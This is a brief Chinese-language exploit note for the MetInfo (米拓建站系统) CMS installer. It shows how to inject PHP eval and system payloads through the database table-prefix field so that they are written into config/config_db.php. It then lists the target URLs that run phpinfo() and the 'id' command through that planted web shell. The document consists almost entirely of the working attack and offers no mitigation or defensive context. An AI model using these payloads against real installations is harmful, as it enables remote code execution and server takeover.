米拓建站系统 getshell&命令执行漏洞

漏洞利用

在安装该CMS - 【设置数据库信息(数据表前缀)】：

代码执行Payload：

"/@eval($_GET'1');/

命令执行payload：

"/@system($_GET'1');/

点击保存进行下一步验证，出现报错信息

(这里的Payload是代码执行)

访问以下url：

http://<target>/config/config_db.php?1=phpinfo();

可以看到成功执行了phpinfo

(这里的Payload是命令执行)

访问以下URL：

http://<target>/config/config_db.php?1=id();

成功执行id命令。